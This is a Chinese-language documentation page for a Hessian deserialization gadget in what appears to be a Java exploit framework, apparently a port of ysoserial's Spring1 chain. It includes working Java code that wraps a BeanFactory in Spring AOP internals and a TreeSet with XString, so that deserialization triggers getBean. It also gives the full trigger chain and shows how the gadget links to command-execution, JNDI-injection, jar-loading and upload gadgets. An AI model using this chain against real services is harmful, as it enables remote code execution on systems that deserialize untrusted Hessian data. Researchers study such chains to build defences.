- 类别:hessian 别名:— 优先级:20
- 作者:mbechler
- 依赖:
org.springframework:spring-context、org.springframework:spring-aop
经典的 Spring AOP「toString 触发 getBean」跳板(ysoserial Spring1 的移植)。把内层对象(一个能按 beanName 取出恶意 bean 的 BeanFactory)包裹进 PartiallyComparableAdvisorHolder,再放入一个含 XString 的 TreeSet,使反序列化比较时触发 toString(),最终在 AOP 通知里调用 beanFactory.getBean(beanName) 拉起下游的 MethodInvokingFactoryBean / JNDI bean,实现命令执行或 JNDI 注入。是本框架 Spring 系 Hessian 链的头部(front)gadget。
- 入口
tags:HessianDeserialize—— 承接 Hessian(含XString触发equals/compareTo)反序列化入口。 - 衔接
nextTags:SpringJndi1—— 之后优先衔接SpringJndi1(提供SimpleJndiBeanFactory的 JNDI bean);实际因内层只需是一个BeanFactory,也可对接其它产出 bean 工厂并注入BEAN_NAME_KEY的 END gadget。 excludes:无。
public Object getObject(Object obj, String beanName) throws Exception {
AspectInstanceFactory aif = (AspectInstanceFactory)Reflections.createWithoutConstructor(BeanFactoryAspectInstanceFactory.class);
Reflections.setFieldValue(aif, "beanFactory", obj); // 内层对象 = BeanFactory
Reflections.setFieldValue(aif, "name", beanName); // 要 getBean 的名字(由下游注入)
AbstractAspectJAdvice advice = (AbstractAspectJAdvice)Reflections.createWithoutConstructor(AspectJAroundAdvice.class);
Reflections.setFieldValue(advice, "aspectInstanceFactory", aif);
Reflections.setFieldValue(advice, "declaringClass", Object.class);
Reflections.setFieldValue(advice, "methodName", "toString");
Reflections.setFieldValue(advice, "parameterTypes", new Class[0]);
AspectJPointcutAdvisor advisor = Reflections.createWithoutConstructor(AspectJPointcutAdvisor.class);
Reflections.setFieldValue(advisor, "advice", advice);
Class<?> pcahClazz = Class.forName("org.springframework.aop.aspectj.autoproxy.AspectJAwareAdvisorAutoProxyCreator$PartiallyComparableAdvisorHolder");
Object pcah = Reflections.createWithoutConstructor(pcahClazz);
Reflections.setFieldValue(pcah, "advisor", advisor);
return PayloadHelper.makeTreeSetWithXString(pcah); // 用 XString 包成 TreeSet 触发 toString
}- 全程使用
Reflections.createWithoutConstructor绕过各 Spring 内部类的构造器(它们无公开无参构造),再逐字段反射填充。 advice.methodName = "toString"、declaringClass = Object.class:这是让PartiallyComparableAdvisorHolder.toString()在渲染其内部 advisor 描述时,走到AbstractAspectJAdvice.getAspectInstanceFactory(),进而BeanFactoryAspectInstanceFactory.getAspectInstance()→beanFactory.getBean(name)。PayloadHelper.makeTreeSetWithXString(pcah):把pcah与一个com.sun.org.apache.xml.internal.utils.XString一起塞进TreeSet。Hessian/原生反序列化重建TreeSet时会调用compareTo,XString.equals(Object)会对另一元素调用toString(),从而点燃pcah.toString()。
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object object = chain.doCreate(context); // 内层:下游产出的 BeanFactory
String beanName = context.getString(ContextTag.BEAN_NAME_KEY);// 下游写入的目标 bean 名
return this.getObject(object, beanName);
}关键的「协议约定」在此:下游 gadget(如 SpringLinuxExec、SpringJndi1)在自己的 invoke 里 context.put(ContextTag.BEAN_NAME_KEY, ...) 并返回一个 StaticListableBeanFactory/SimpleJndiBeanFactory;本 gadget 取出二者拼成 AOP 触发结构。
TreeSet.readObject → XString.equals → PartiallyComparableAdvisorHolder.toString → AspectJPointcutAdvisor/AbstractAspectJAdvice → BeanFactoryAspectInstanceFactory.getAspectInstance → beanFactory.getBean(beanName) → 下游 bean 的 getObject()(MethodInvokingFactoryBean 反射调用 / JNDI 查找)。
本类无 @Param。beanName 与内层 BeanFactory 均由下游 gadget 通过 GadgetContext 注入。
- 依赖
spring-context+spring-aop;PartiallyComparableAdvisorHolder为AspectJAwareAdvisorAutoProxyCreator的内部类,Spring 各常见版本均存在。 - 与 SpringAbstractBeanFactoryPointcutAdvisor 同为 Spring 头部 gadget,二者可互换:本类走 AspectJ Advisor 路径,后者走
AbstractBeanFactoryPointcutAdvisor路径,触发点都是toString → getBean。 - 需目标能加载
XString(JDK 内置com.sun.org.apache.xml.internal.utils.XString,JDK < 17 通常可达)。
- Spring JNDI链1(
[SpringPartiallyComparableAdvisorHolder, SpringJndi1])
- 下游(END):SpringJndi1(JNDI)、SpringLinuxExec/SpringExec(命令执行)、SpringLoadJar、SpringUpload——凡产出
BeanFactory并注入BEAN_NAME_KEY者。 - 同族头部:SpringAbstractBeanFactoryPointcutAdvisor(
nextTags=HessianSpringChains,可对接同一批 END gadget)。